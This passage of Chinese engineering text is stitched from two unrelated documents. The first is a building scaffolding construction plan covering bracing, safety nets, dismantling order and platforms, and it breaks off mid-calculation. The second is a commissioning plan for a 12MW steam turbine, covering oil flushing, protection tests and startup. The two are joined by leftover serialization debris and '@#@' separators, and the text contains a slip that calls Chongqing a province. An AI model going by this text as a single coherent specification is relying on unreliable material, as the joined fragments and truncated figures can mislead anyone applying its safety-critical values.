@#@@#@非主节点的横向小横杆水平间距按竹跳板的长度除去两端各150mm后,等间距布置,横杆两边与大横杆用直角扣件固定连接,跳板对接处设置两根小横杆,间距300mm,以防止产生探头板的情况。
@#@@#@(6)加固@#@加固主要有两个方面:
@#@支撑和拉接。
@#@@#@支撑分横向斜撑和纵向剪刀撑。
@#@@#@横向斜撑设置在同一节点间,由底层呈“之”字形连续布置。
@#@采用旋转扣件固定在与之相交的横向水平杆的伸出端上,旋转扣件中心线至主节点的距离不大于150mm。
@#@@#@除拐角处设置横向斜撑外,中间应每隔六跨设置一道。
@#@@#@纵向剪刀撑斜杆与地面成45度角,宽度为4跨立杆纵距长7200-8000mm。
@#@@#@纵向剪刀撑设置在外侧立面的两端,由底止顶连续设置,与地面成45~60度夹角,当架子长度较大时应在中间加设剪刀撑,使各道剪刀撑之间的净距为14.4米,即8跨立杆间距。
@#@@#@剪刀撑的接长采用搭接,其方法同立杆的搭接方法,搭接长度1000mm,采用三个扣件连接。
@#@@#@剪刀撑斜杆应用旋转扣件固定在与之相交的横向水平杆的伸出端或立杆上,旋转扣件中心线至主节点的距离不大于150mm。
@#@@#@拉接竖向按每一自然层设置两道,第一道于楼面处;@#@第二道于本层梁底。
@#@横向按柱间距均匀布置三道,两端对应柱子设置,柱子中间设置一道。
@#@拉接钢管采用两个扣件固定在楼板面上的拉接锚环上。
@#@拉接钢管尽量靠近主节点,与主节点距离不大于300mm。
@#@@#@ @#@@#@连墙件扣件连接示意图@#@(7)安全网挂设@#@安全密网采用扎丝挂设在外侧大横杆内侧,宽度1800mm,与大横杆步距匹配。
@#@施工楼层下设置尼龙安全兜网。
@#@在每一施工楼层处,安全密网挂设好后,采用竹跳、竹胶板加设水平封闭。
@#@施工层以下每隔三层设300mm高红白相间分色挡脚板。
@#@施工层设置临时水平网,其下为每隔3层设置水平网。
@#@@#@(8)硬防护封闭@#@在临街面,为防止高空物体坠落,穿透安全密目网,伤及施工人员及行人与车辆,在密目网内侧用1.0×@#@2.0×@#@0.005竹层板全面封闭,不得留有空隙。
@#@竹胶板用扎丝绑扎于大横竿上。
@#@同时在竹胶板封闭区域配置低压照明系统,满足施工照明需要并按要求配备防火设施。
@#@@#@(9)拆除@#@A、外防护架在拆除前应注意以下几项工作。
@#@@#@1)完成外墙装饰面的最后修补及清洁,其质量已进行验收合格。
@#@@#@2)对参与拆除的有关人员进行详细交底,明确拆除范围、时间、拆除顺序及方法、材料运输方式、拆除过程中的组织管理人员、联系方式、拆除中的安全防护措施、安全警戒区域,交底应有书面记录并签字完善。
@#@@#@B、拆除程序@#@清理架上垃圾杂物→竹胶板拆除→安全网→脚手板→栏杆→剪刀撑→拉接杆→小横杆→大横杆→立杆@#@C、拆除注意事项@#@1)清理垃圾杂物要仔细,垃圾杂物要装入桶内,严禁随意抛扔。
@#@@#@2)拆架顺序由上而下,一步一清,逐步拆除,分段拆除时,高差小于两步架。
@#@@#@3)支撑杆件及拉接杆要与架子拆除同步,不能先行全部拆除。
@#@@#@4)剪刀撑、大横杆拆除时应由三人配合,先拆中间扣件,后拆两端扣件,由中间人员向下传递。
@#@@#@5)地面应设置不小于5米的安全警戒区域,并安排专人进行警戒,并在临街面挂安全警示标牌。
@#@@#@6)拆除的钢管、扣件及防护等材料吊运时,必须采用专用保险吊钩,严禁单点起吊,吊运时必须平稳,吊运中上下要有专人指挥,严禁碰撞架子、电线、门窗、墙面等。
@#@@#@主体施工阶段防护架搭设方式见附图四、五、六。
@#@@#@
(二)安全伸展棚搭设@#@1、施工流程@#@锚环预埋→安设挑杆→连接扫地杆→安设水平横杆→安设钢丝绳→铺封底跳板→搭设防护栏杆→检查验收→投入使用→拆除@#@2、主要施工方法@#@
(1)预留预埋@#@1)挑杆锚环@#@挑杆锚环采用Ф12钢筋制作,制作方式见附图。
@#@预埋点距边缘800mm、1700mm设置两道,间距1800mm。
@#@锚环应绑扎在梁面筋下或板底筋上。
@#@@#@2)拉接锚环@#@局部加固拉环,拉接锚环采用Φ12钢筋制作,制作及埋设方式同挑杆锚环,埋设点距边缘600mm。
@#@@#@
(2)安设挑梁@#@挑梁采用采用Φ48,壁厚3.0mm的钢管穿入预埋钢筋锚环处,并在两锚环处用“十”字扣件连接扫地杆固定,防止挑杆前后滑动。
@#@挑梁外端挑出长度为4000mm,间距调整为900mm。
@#@@#@(3)安设水平横杆@#@水平杆应安装平顺,接长采用对接扣件连接,接头必须相互错开,横距900mm。
@#@@#@(4)安设钢丝绳@#@安全生产棚钢丝绳直接用锁扣连接于挑杆上,另一端连接于预先埋设的锚环上,钢丝绳间距3600mm。
@#@6*37-15.5-185-I@#@(4)铺封底跳板@#@先用竹跳板满铺生产通道上,并用铁丝绑扎牢固,然后用1.0×@#@2.0×@#@0.005竹层板满铺竹跳板上。
@#@@#@(5)防护栏杆的搭设@#@在挑梁端部用“十”字扣件连接竖向立杆并在立杆内侧搭设2道横杆作为防护栏杆。
@#@护栏杆不低于1000mm,用1.0×@#@2.0×@#@0.005竹胶板封闭立面。
@#@@#@(6)拆除@#@对参与拆除的有关人员进行详细交底,明确拆除范围、时间、拆除顺序及方法、材料运输方式、拆除过程中的组织管理人员、联系方式、拆除中的安全防护措施、安全警戒区域,交底应有书面记录并签字完善。
@#@@#@防护棚搭设方式见附图四。
@#@@#@(三)卸料平台搭设@#@1、施工顺序@#@锚固环预埋→安装平台→验收使用→拆除平台@#@2、施工方法@#@
(1)锚固预埋@#@在结构施工时,制作好锚环埋设到拟定位置,对其所在部位进行加强处理,确保锚环处的混凝土浇筑质量,在混凝土强度增强过程中严禁碰撞、加荷等人为扰动。
@#@锚环安装位置应注意上下楼层交错设置。
@#@@#@
(2)平台安装@#@采用工具式卸料平台,钢丝绳斜拉于上层边梁上,边梁处板上钻孔,以便套钢丝绳。
@#@卸料平台每层设两个,上下位置交错设置。
@#@@#@安装前应认真检查平台制作质量,确认各节点焊接牢固、配件齐全稳固;@#@平台应全面进行防锈处理。
@#@平台钢梁应与锚环连接牢固。
@#@@#@(3)平台拆除前应仔细清理垃圾杂物,检查平台与四周无联系后,开始慢慢起吊。
@#@当拉绳放松后,拆除锚固端,慢慢吊离建筑物。
@#@平台拆除后,应及时防护封闭平台出口。
@#@@#@(四)通道搭设@#@1、)斜道搭设@#@斜道是为了施工楼层方便人员上下通行。
@#@@#@斜道采用“之”字形,宽度同外架宽度,坡度为1:
@#@1,与纵向水平杆成45度角,与防护架的间距、步距匹配。
@#@采用木板搭设,踢面及踩面采用钉木板及九夹板,踩面边缘钉防滑木条。
@#@@#@六、结构设计@#@因装饰阶段为双排脚手架,荷载大于主体施工阶段,故仅对装饰阶段双排架及斜料平台进行结构验算。
@#@@#@
(一)外架验算(一挑六层)@#@型钢悬挑扣件式钢管脚手架的计算依据《建筑施工扣件式钢管脚手架安全技术规范》(JGJ130-2001)、@#@《建筑结构荷载规范》(GB50009-2012)、《钢结构设计规范》(GB50017-2003)等规范编制。
@#@@#@一、参数信息:
@#@@#@1.脚手架参数@#@双排脚手架搭设高度为18米,立杆采用单立杆;@#@搭设尺寸为:
@#@立杆的纵距为1.5米,立杆的横距为1.05米,立杆的步距为1.8米;@#@内排架距离墙长度为0.30米;@#@大横杆在上,搭接在小横杆上的大横杆根数为2根;@#@脚手架沿墙纵向长度为30米;@#@采用的钢管类型为Φ48×@#@3.0;@#@横杆与立杆连接方式为单扣件;@#@取扣件抗滑承载力系数0.80;@#@连墙件布置取两步三跨,竖向间距3.6米,水平间距4.5米,采用扣件连接;@#@连墙件连接方式为双扣件连接;@#@@#@2.活荷载参数@#@施工均布荷载(kN/m2):
@#@2.000;@#@脚手架用途:
@#@主体安全脚手架;@#@同时施工层数:
@#@2层;@#@@#@3.风荷载参数@#@本工程地处重庆省重庆,查荷载规范基本风压为0.400,风荷载高度变化系数μz为1.140,风荷载体型系数μs为0.645;@#@计算中考虑风荷载作用;@#@@#@4.静荷载参数@#@每米立杆承受的结构自重荷载标准值(kN/m2):
@#@0.1248;@#@脚手板自重标准值(kN/m2):
@#@0.300;@#@栏杆挡脚板自重标准值(kN/m):
@#@0.140;@#@安全设施与安全网自重标准值(kN/m2):
@#@0.005;@#@脚手板铺设层数:
@#@11层;@#@脚手板类别:
@#@竹笆片脚手板;@#@栏杆挡板类别:
@#@栏杆、竹串片脚手板挡板;@#@@#@5.水平悬挑支撑梁@#@悬挑水平钢梁采用16号工字钢,其中建筑物外悬挑段长度1.4米,建筑物内锚固段长度2.8米,锚固不小于:
@#@按挑出的1.25进行内锚。
@#@与楼板连接的螺栓直径(mm):
@#@16.00;@#@楼板混凝土标号:
@#@C30;@#@@#@ @#@@#@6.拉绳与支杆参数@#@支撑数量为:
@#@1;@#@@#@@#@钢丝绳安全系数为:
@#@3.500;@#@钢丝绳与墙距离为(m):
@#@3.000;@#@悬挑水平钢梁采用钢丝绳与建筑物拉结,最里面面钢丝绳距离建筑物1.2m。
@#@@#@@#@二、大横杆的计算:
@#@@#@按照《扣件式钢管脚手架安全技术规范》(JGJ130-2011)规定,大横杆按照三跨连续梁进行强度和挠度计算,大横杆在小横杆的上面。
@#@将大横杆上面的脚手板自重和施工活荷载作为均布荷载计算大横杆的最大弯矩和变形。
@#@@#@1.均布荷载值计算@#@大横杆的自重标准值:
@#@P1=0.033kN/m;@#@脚手板的自重标准值:
@#@P2=0.3×@#@1.";i:
9;s:
26840:
"0045某热电厂汽轮机启动试运施工组织方案@#@目录@#@第一章概述2@#@第二章启动试运行的目的2@#@第三章汽轮机部分主要技术参数3@#@第四章启动试运应具备条件6@#@第五章启动试运中应注意的事项7@#@第六章安装后汽轮机组的调整与试验8@#@第七章汽轮机启动试运行15@#@第八章汽机停机21@#@第九章故障停机步骤25@#@第一章@#@概述@#@**煤业有限公司热电厂二期1×@#@12MW汽轮发电机组,汽轮机由**汽轮机厂生产,**市安装公司承揽安装。
@#@汽轮发电机组安装完毕,在投入生产前,应按《电力建设施工及验收技术规范》进行调整、启动、试运行,达到运行标准后方可投入生产。
@#@@#@第二章启动试运行的目的@#@2.1检查鉴定新装机组其主汽系统、凝结水(给水)系统、循环水系统、轴封真空系统、疏放水系统、油系统、调速系统、汽机保护系统、抽汽系统及其设备的运行性能,对新装设备及热力系统进行运行考核,为连续运行、安全投入生产创造条件。
@#@@#@2.2检查测取汽轮机运转、升速过程中各项主要技术指标变化及经济性,检验安装质量及制造质量。
@#@@#@2.3调速系统性能参数整定及超速等保护试验,以及试运中的消缺。
@#@@#@2.4测取汽轮机运行参数,检验汽轮机运行性能及有关表计指示的正确性。
@#@@#@2.5完成电气试验@#@2.6并网、带负荷运行。
@#@@#@第三章汽轮机部分主要技术参数@#@3.1汽轮机主要技术参数@#@()汽轮机形式:
@#@中压单缸单抽汽凝汽式@#@()汽轮机型号:
@#@C12-4.90/0.49@#@()蒸汽初压:
@#@4.9Mpa@#@()蒸汽初温:
@#@470℃@#@()转速:
@#@3000r/min@#@(6)额定功率:
@#@12000KW最大功率:
@#@15000KW@#@(7)额定进汽量:
@#@80t/h最大进汽量:
@#@106t/h@#@(8)工业抽汽压力:
@#@0.49+0.294-0.196Mpa@#@(9)额定抽汽量:
@#@50t/h最大抽汽量:
@#@80t/h@#@(10)排汽压力:
@#@0.0049Mpa@#@(11)冷却水温:
@#@27℃最高33℃@#@(12)给水温度:
@#@150℃@#@3.2新蒸汽参数规范@#@
(1)主汽门前蒸汽参数正常变化范围@#@
(2)新蒸汽参数超过正常变化范围时的规定:
@#@@#@额定@#@汽压:
@#@4.9Mpa@#@汽温:
@#@470℃@#@最高@#@汽压:
@#@5.1Mpa@#@汽温:
@#@480℃@#@最低@#@汽压:
@#@4.61Mpa@#@汽温:
@#@455℃@#@①主蒸汽压力超出允许变化的上限时,应节流降压,节流无效时应作为故障停机。
@#@@#@②主蒸汽压力低于变化的下限0.2Mpa时,应降低负荷。
@#@@#@③主蒸汽温度超出允许变化的上限5℃,运行30分钟后仍不能降低,应作为故障停机,全年运行累计不超过400小时。
@#@@#@④主蒸汽温度低于允许变化的下限5℃时,应降低负荷。
@#@@#@(3)调节系统性能:
@#@@#@①转速不等率:
@#@4.5±@#@0.5%@#@②抽汽调压不等率:
@#@20%@#@③汽机在空负荷时同步器控制转速变化范围为额定转速的-4~+6%@#@④调整抽汽迟缓率:
@#@2%@#@⑤调节系统工作油压:
@#@1.078Mpa(表压)@#@(4)安全保护装置@#@当汽轮机轴向相对位移超过+1.5mm或-0.6mm、润滑油压降至0.02Mpa(表压)、转速升至3360r/min、真空降至-0.061Mpa以下、轴承回油温度升高70℃、轴瓦金属温度100℃时,磁力断路油门动作。
@#@@#@(5)润滑系统油压0.08~0.12Mpa@#@3.3汽轮机除本体配有辅机@#@
(1)凝汽器型号:
@#@N-1250冷却面积:
@#@1250m2设计蒸汽流量:
@#@52t/h设计冷却水温:
@#@27℃@#@
(2)高压加热器型号:
@#@JG-100-1加热面积:
@#@100m2水侧设计压力:
@#@9.6Mpa汽侧设计压力:
@#@1.3Mpa@#@(3)低压加热器加热面积:
@#@40m2@#@水侧设计压力:
@#@0.588Mpa汽侧设计压力:
@#@0.196Mpa@#@第四章启动试运应具备条件@#@4.1调整与试运行工作应达到下列条件:
@#@@#@
(1)检查各系统设备的安装质量,应符合设计图纸、制造厂技术文件及规范要求。
@#@@#@
(2)检查各系统及设备的设计质量,应满足运行安全和操作检修的方便。
@#@@#@(3)检查、调整并单机试运考核各设备的性能,应符合制造厂的规定。
@#@@#@(4)吹扫或冲洗各系统达到充分的洁净,以保证机组的安全经济地投入运行。
@#@@#@4.2试运区现场必须具备下列条件:
@#@@#@
(1)厂区内场地平整、道路畅通、无杂物。
@#@@#@
(2)试运范围内的施工脚手架已全部拆除,现场的沟道及孔洞盖板齐全,有正规的楼梯、通道、过桥、栏杆及其护板。
@#@@#@(3)现场备有足够的消防器材。
@#@@#@(4)厂房试运机组范围内按设计做好各层地面。
@#@@#@(5)工业用水畅通,厂房和厂区的排水良好。
@#@@#@(6)现场有足够的正式照明,事故照明系统完整可靠,并处于备用状态。
@#@@#@(7)试运现场的通信应完善,设临时岗的通信应可靠。
@#@@#@(8)管道保温合格,涂色标志明显,并标有流向。
@#@@#@(9)设备及汽水阀门挂牌标志正确无误。
@#@@#@(10)远方操作控制,动作灵敏可靠。
@#@@#@4.3运行值班人员需具备下列条件@#@
(1)运行人员经岗位考核合格。
@#@@#@
(2)运行人员定岗定位明确。
@#@@#@(3)运行操作间应有规章制度。
@#@@#@(4)准备好启动用工具(如听棒、振幅表等)、表计。
@#@@#@(5)配备好各岗位的值班人员和检修人员(由安装公司指派)。
@#@@#@(6)运行值班人员对现场卫生应明显确认。
@#@@#@第五章启动试运中应注意的事项@#@5.1启动试运中的重大操作均由启动试运委员会发布命令。
@#@@#@5.2启动试运前应搞好防火措施,增设消防设备,安排临时消防人员,定岗定位,随时准备执行任务。
@#@@#@5.3所有的设备和仪表、管道均应搞好保温。
@#@@#@5.4在启动过程中,出现异常现象应马上汇报启动试运委员会,并马上做出相应的应急措施及处理意见。
@#@@#@5.5启动试运过程,首先应办理操作票,所有的操作应按操作票程序进行。
@#@@#@5.6对运行中设备进行检修工作,也必须经审核办理操作票,实施过程应搞好安全措施。
@#@@#@5.7新机组启动后凝结水前段应排入地沟不回收,经化验合格的凝结水可投入再利用。
@#@同时设临时岗调节凝汽器热水井水位。
@#@机组带负荷时,要防止凝结器水位满水。
@#@@#@5.8新机启动、冲转试运行,所有的操作人员均应按岗位认真值班,不得随意离岗。
@#@@#@第六章安装后汽轮机组的调整与试验@#@6.1汽轮机真空系统严密性检查汽轮机本体启动前对凝汽器的汽侧、低压缸的排汽部分以及当空负荷时处于真空状态下的辅助设备与管道,应灌水进行真空严密性检查。
@#@@#@6.1.1灌水试验
(一)具备条件:
@#@1、设备及其新连接的管道、阀门安装完毕,经检查合格。
@#@2、凝汽器汽侧内部已清理干净。
@#@3、底部具有支持弹簧的凝汽器,灌水前应在弹簧处加临时支撑。
@#@4、各水位计玻璃安装完好,灌水水面下连接的真空表计切除。
@#@5、灌注用水可用化学水或澄清的生水。
@#@6、关闭真空系统与大气疏水管道阀门,关闭大气排出门。
@#@7、该系统水压试验时的缺陷已消除,系统冲洗合格。
@#@8、仪表齐全,校值准确。
@#@
(二)严密性检查及试验1、除盐水注入系统至汽封洼窝以下100mm处,各加热器、抽汽管道以其他在主机启动时处于真空状态下的管道和设备均应灌水。
@#@2、送入压缩空气进行检查(表压不得大于0.5倍大气压)。
@#@3、检查合格后做必要的资料记录。
@#@@#@6.1.2抽真空试验@#@
(1)射水箱清理干净并加入适量工业水。
@#@@#@
(2)关闭抽气器空气总门,启动射水泵运行。
@#@@#@(3)打开空气总门提真空。
@#@@#@(4)真空应不小于-0.04Mpa(表)。
@#@@#@6.2油系统试运和油循环@#@6.2.1灌油前的准备及具备条件@#@
(1)灌油前,油箱安装完毕,并彻底清洗干净。
@#@@#@
(2)油管路系统,经彻底清洗回装,连接严密可靠。
@#@@#@(3)备好灌油及油循环所需的临时设施,并准备冲洗回路,加装临时滤网。
@#@@#@(4)滤油网、调节阀、油位计等彻底清理,组装正确,其所所属设备、仪表等应齐全完好,并指示准确。
@#@@#@(5)备有足够的符合制造厂要求的并经化验合格的汽轮机油。
@#@@#@(6)油系统灌油前应经检查,达到要求后方可灌油。
@#@@#@(7)低位放油阀门应水压试验合格后安装并严密不漏,低位放油阀关闭后应加锁管理。
@#@@#@6.2.2灌油@#@
(1)用清洗的压力滤油机向油箱灌油。
@#@@#@
(2)灌油时油入油箱处应有滤网,滤网应不低于28号(70目)。
@#@@#@(3)油箱灌油后,经一段时间后,检查低处积水、杂质。
@#@(经沉淀后)@#@(4)油位灌至略低于玻璃油位计一半处即可。
@#@@#@6.2.3再检查@#@
(1)检查灌油后有无泄油处。
@#@@#@
(2)检查油位计的油位正确性,玻璃油位计考克应灵活、严密。
@#@@#@(3)定期检查油箱低处积水情况以及加锁的可靠性。
@#@@#@6.2.4油循环的程序@#@
(1)将轴瓦短路,采取措施不使油进入乌金与轴颈的接触面内,进行油循环,并在接近压力油母管处,把调节保安系统断开,如可能时,先不经过冷油器进行冲洗,各轴承的进油滤网及节流孔板均应取出。
@#@@#@
(2)当油样经外观检查基本无杂质后,对调节保安油系统进行冲洗并采取措施不使脏物留存在保安部套内。
@#@@#@(3)放掉冲洗油,清理油箱,滤网及各轴承内部,然后灌入合格的汽轮机油。
@#@@#@(4)将全部系统恢复至正常运行状态,在各轴承进油管上加装不低于40号(100目)的临时滤网,其通流面积应不小于管道断面积的2~4倍,将各调节保安部套置于掉闸位置,投入运行系统进行油循环,冷油器应经常交替循环。
@#@@#@(5)油循环完毕及时拆掉各轴承进油管的临时滤网,恢复各节流孔板。
@#@@#@6.2.5油系统循环前准备及必要条件:
@#@@#@
(1)汽轮机中心最后校核,不再调中心。
@#@@#@
(2)将轴瓦转运,使油不进入乌金瓦,直接经轴承座回路入油箱。
@#@@#@(3)加堵,进入注油器的入口法兰及进入前轴承座三通阀法兰,加盲板堵。
@#@@#@(4)各轴承座进油口加40号(100目)临时滤网。
@#@@#@(5)回入油箱油管滤网装妥。
@#@@#@(6)循环油温在40~45℃,大流量较高油压条件下进行。
@#@(本条只能在汽轮油泵启动时才能办。
@#@齿轮油泵达不到上述条件,仅可作润滑系统流动,对转运的油部份保护作用。
@#@)@#@(7)滤油机配合循环,直至不含水份为止。
@#@@#@6.2.6油循环:
@#@@#@
(一)油循环:
@#@@#@1、启动齿轮油泵,高压油泵。
@#@@#@2、控制油温、油流量、油压及检查工作。
@#@(包括回油检查)@#@3、检查油系统油清洁时停止循环。
@#@@#@
(二)油循环后的工作:
@#@@#@1、拆除临时滤网,油内仍不清洁时,可再换装新的临时滤网。
@#@@#@2、拆除临时堵板,恢复正常油流通路。
@#@3、检查所有油管路均应符合试运条件要求。
@#@4、仪表、表计、信号等装置投入,待调试前状况。
@#@5、消除设备缺陷。
@#@@#@6.2.7油系统的几项试验调整:
@#@1、试润滑油路较低的报警油压:
@#@0.055Mpa(表)。
@#@2、试润滑油管路最低的停机油压:
@#@0.03Mpa(表)。
@#@3、试低压电动油泵投入时润滑油压:
@#@0.04Mpa(表)。
@#@4、试电动盘车不得投入时润滑油压:
@#@0.015Mpa。
@#@(表)@#@6.2.8汽轮机启动前(空转前)的几项保护装置试验检查:
@#@1、膨胀指示器的位置检查。
@#@2、自动控制主汽门动作灵活、可靠、信号准确。
@#@与各保护系统连接均符合要求,@#@一项项检查无误。
@#@3、电动隔离门远方、手动可靠、严密、指示信号准确。
@#@4、轴向位移调整:
@#@@#@运行保护油压(平衡)0.56Mpa正确无误。
@#@@#@动作油压(1.5mm时)0.245Mpa动作停机准确。
@#@@#@挂闸(恢复复位)准确灵敏。
@#@@#@5、电磁铁动作:
@#@控制均灵敏、及时、可靠。
@#@6、逆止阀电磁铁控制均灵敏及时可靠。
@#@逆止阀动作迅速。
@#@7、调速器动作灵敏自如、上下活动无卡涩现象。
@#@@#@(连杠、汽阀关闭严密等)8、真空报警及停机保护试验:
@#@当真空降落至0.087Mpa时报警、音响、闪光当真空降至0.061Mpa时,通过中间继电器,断控制压力油泄放,停机、声响、闪光、指值准确。
@#@@#@9、润滑油温控制试验检查:
@#@当油温>@#@65℃时报警、声响、光闪。
@#@当油温>@#@70℃时停机的一系列过程检查无误合格。
@#@@#@10、检查推力轴承远控测温装置的准确、灵敏、误差值。
@#@11、盘车装置检查指示位置准确,分合自如,本身润滑等,指示信号完好。
@#@12、手动检查危急遮断器动作灵活,操纵保护系统可靠,间隙合格。
@#@13、调压器解除位置正确。
@#@14、凝结泵、射水泵均应切换试验,信号、音响准确。
@#@@#@6.2.9汽轮机空转后、停机时,保护装置的较验试验:
@#@@#@1、危急保安器的超速试验:
@#@记录:
@#@次数、动作转速、间隙值。
@#@同时检查及观察控制主汽门、主汽门动作准确迅速可靠。
@#@调速器动作状,有无声响、闪光、指示等准确性。
@#@@#@2、轴向位移平衡油压变化及指示值(记录)3、惰走试验:
@#@作:
@#@真空——时间曲线转速——时间曲线4、热膨胀指示器检查。
@#@@#@6.2.10调速系统静态特性试验:
@#@(详见调速系统试验方案)1、空负荷第一试验:
@#@求转速、油泵压增、油动机在同步器高、中、低位置的关@#@系。
@#@@#@2、空负荷第二试验:
@#@求同步器刻度与转速、油泵压增的关系。
@#@同时作错油门弹簧预紧力、转速、脉冲油压之间的关系。
@#@(作这一试验在于给调整工作起到一定的帮助)。
@#@@#@3、负荷试验:
@#@求负荷与油动机行程关系。
@#@(既配汽机特性关系)@#@6.2.11动态特性试验:
@#@1、目的在求得甩电负荷后,对调速系统进行动态转速飞升时,能否在不使危急@#@保安器动作而较快的稳定下来,并保持空负荷运行。
@#@@#@2、同时也可做“假想甩负荷试验检查,作为上项参数。
@#@@#@3、做动态甩负荷试验及带电负荷试验,是在汽轮发电机带负荷运行后进行。
@#@甩@#@负荷试验必须按讨论决定的电负荷试验方案进行,不得轻易进行。
@#@@#@6.2.12惰走试验:
@#@@#@6.2.13整理各项试验,检查资料,将各项结论填表记录。
@#@@#@第七章汽轮机启动试运行@#@7.1试运前的准备:
@#@@#@为了确保汽轮机在安装后一次顺利启动,除在安装时保证质量外,在安装后启动试运前,必须做好一系列准备与检查。
@#@@#@7.1.1新蒸汽管路冲洗:
@#@清除管路中可能积存的杂物\管壁铁屑、焊渣。
@#@方法:
@#@拆除主动隔离门,接好临时吹管用短管进行吹管,吹管合格后并回@#@装。
@#@一般冲三次,每次5~10分钟,压力不小于工作压力的1/2为准。
@#@@#@7.1.2真空系统严密性检查及试验合格。
@#@@#@7.1.3凝结水泵试运行,经4小时以上运行合格。
@#@@#@7.1.4油系统清洗、循环合格。
@#@1、透平油化验合格。
@#@2、灌入油箱后,清洁管路通油后各项指标合格。
@#@3、临时装置油管滤网妥当,并经油循环24小时后,检查换新或清洗过。
@#@4、油箱应换用新透平油、油位在最高处。
@#@@#@7.1.5组织管理:
@#@1、操作人员有明确分工,经学习考试合格。
@#@2、技术资料及表格准备齐备。
@#@3、试运中可能用的工具、仪表、仪器等准备好。
@#@@#@7.1.6机组阀门等应处在规程要求的正确位置,经检查无误。
@#@@#@7.1.7电路试验:
@#@@#@汽轮机试运前应做电路试验,并有正式的试验检查启示表格:
@#@如绝缘试验、耐压试验、必要作断路试验,总之应符合发电机组试启动前的电气要求准备,并由电气通知汽机检查试验完毕,可以启动。
@#@@#@7.1.8通知锅炉、供汽暖管。
@#@(按规程进行)@#@7.1.9油系统试验与调整以及复校,开动高压油泵,作如下工作:
@#@1、试验控制主汽门、旋转大手轮,使压力油注入危急遮断器、轴向位移遮断器、电磁阀,压力油进入大轴下部,顶起油活塞,开动主汽门,再手打油路遮断器、轴向位移遮断器、电磁阀,分别观察能否关闭主汽门。
@#@2、在上1项的同时,均断抽汽逆止阀电磁铁,检视抽逆止门关闭情况。
@#@3、按“停发电机”,检查电路系统的发电机励磁至油开、关路闸。
@#@(通知电气配合,若电气不要求做汽机可免,但要进行值班记录)。
@#@@#@7.1.10凝结器系统启动:
@#@(见热力系统图)@#@1、凝结器灌水应按规定的水位,并启动运行。
@#@2、循环泵启动供水运行。
@#@3、主汽管暖管后,准备投入抽气器。
@#@4、汽轮机冲动转子,真空不得低于-0.46Mpa。
@#@(340mmHg)5、盘车装置使用可靠。
@#@6、冲动转子转动后,方准向轴封供汽。
@#@@#@7.2安装后第一次汽轮机启动程序:
@#@@#@7.2.1空负荷试运行:
@#@1、汽轮发电机组安装完毕后,启动前的各项准备工作均已妥当,即可通知锅炉送汽,做汽轮机第一次空负荷试运行。
@#@@#@2、在启动前应具备下列条件——各水泵试验试运正常、盘车装置良好、调速系统静态试验调整完毕、油温25℃~45℃、所有仪表已装好并调试、全部管道及其附件已保温,所有大小附属设备亦已安装试验完毕。
@#@@#@3、启动前必须先盘转转子,应无声音或卡住现象。
@#@@#@4、推上危急遮断器在工作位置,主汽门处于开启的准备位置,缓慢地开启通门,待汽供到控制主汽门前暖管,疏水门开启,准备冲转子。
@#@@#@5、谨慎开启主汽门,待转子开始转动,即将汽阀关小,使转子转速稳定在400~500r/min,(此点与规程要求不符,因是安装后新机启动)。
@#@马上借助听棒听机内、轴承内有无异常杂音。
@#@如一切正常,即可向轴封慢慢供汽。
@#@在这个时间可检查辅机运行情况,时间约45~60分钟。
@#@将转速再提到800~1200r/min,维持2小时暖机。
@#@@#@6、运行情况正常,轴承轴承温度已达30~35℃范围,即可超越临界转速(临界转速约1567r/min)。
@#@汽轮机由1200r/min以300r/min的速度,均匀升速到2500r/min,通过临界@#@转速时,应迅速平稳地越过,不得停留。
@#@同时主油泵将起作用。
@#@@#@7、转子转速也可能在越过临界转速时能稳住维持暖机,也可能冲升较快,到同步器位限时的转速,即调速器自己维持空转,越临界转速后,希望能在2500r/min时进行20分钟暖机,并应进行较全面的检查巡视。
@#@@#@8、在转速上升过种中,注意调整器投入转速。
@#@当转速升速较快(指过临界转速后)调整汽门关闭也快,形成受压受温也快,尽可注意避免。
@#@当调速器投入工作后,全开控制主汽门(开后再回转一周,以免咬住),用同步器升速到3000r/min。
@#@@#@9、检查膨胀指示器、振动、轴承温度、油压等。
@#@若轴承温度已到40~45℃时,慢慢投入冷油器的冷却水,使进油度维持在35~45℃之间。
@#@10、在3000r/min至少1~2小时,一切情况正常稳定后,做超速试验,试验动作三次符合标准后可以停机,停机时记录惰走曲线。
@#@注:
@#@超速试验合格标准第一次与第二次动作转速之差不超过额定转速的@#@0.6%,第三次动作转速与前二次动作转速平均值之差不得额定转速的1%。
@#@@#@11、在汽轮机暖机升速过程中,通知电气人员可做发电机升压前准备工作。
@#@定速检查后至超速试验前通知电器做实验。
@#@@#@7.2.2第一次空负荷停机后工作:
@#@@#@
(1)消除空负荷运行中的缺陷。
@#@@#@
(2)正常停机后的维护维修工作。
@#@@#@(3)停机后,对有无发现问题时,均须进行检查。
@#@@#@(4)做好第二次运行准备。
@#@@#@7.3第二次启动,安装后汽轮发电机组带负荷72小时试运行。
@#@@#@7.3.1空负荷运转设备检查;@#@@#@7.3.2带负荷试运行;@#@(带负荷试运行前段启动至3000r/min的操作如前)@#@7.3.3带负荷步骤:
@#@(具备并网状态拟写方案)1、当接到主控室发来“注意”、“并列”信号后,应注意功率表指数,以确定调速系统工作是否正常。
@#@@#@2、汽轮机的增减负荷,是由主控制盘远方控制调整。
@#@电动机带动同步器伞形齿轮转动,使心杆上下移动,改换压力变换器的滑阀,以窗口大小变化改变脉冲油压变化,错油门滑阀位移后,达到改变调速汽阀的开度,使单机运行时发生转速升降变化,并列运行时发生负荷增减变化。
@#@@#@3、为使汽轮发电机能安全顺利运行,经验证明带负荷由500~1000KW时,应运行一小时,随后每隔半小时,增加500~1000Kw,以至直接带到5000KW后暖机15min,最后以每10min增加500KW的速度到额定负荷。
@#@@#@7.3.4带负荷后注意事项:
@#@@#@1、负荷改变时,必须调整汽封供汽。
@#@@#@2、负荷在2500KW及以上时,允许凝结器真空不低于650mmHg(0.088Mpa)。
@#@@#@负荷在1200~2500KW时允许真空不低于600mmHg(0.081MPa)。
@#@负荷在1200KW时允许真空不低于540mmHg(0.073MPa)。
@#@@#@上述真空低于允许限度时,运行时间不超过30分钟@#@3、当负荷在1000KW暖机的,汽温在400℃以上时关闭疏水门。
@#@@#@4、检查调速汽阀杆工作情况,甚至要活动一下,防止咬住。
@#@加负荷同时要注意@#@调速汽门杆、油动机平稳灵活,没有卡住或跳动现象。
@#@(每次加负荷前暖机@#@
(1)电负荷为1500KW时,可投入工业抽汽。
@#@(操作步骤见规程)@#@
(2)一次蒸汽经减压器投入。
@#@(略)@#@(3)对外供热负荷。
@#@(略)@#@(4)低加投入时进汽压力≯0.5Mpa。
